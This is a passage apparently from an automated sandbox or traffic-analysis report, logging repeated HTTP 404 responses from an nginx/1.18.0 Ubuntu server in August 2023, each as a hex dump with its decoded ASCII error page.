21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:07 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:09 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:13 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:15 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:17 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:19 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:21 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:25 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:27 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 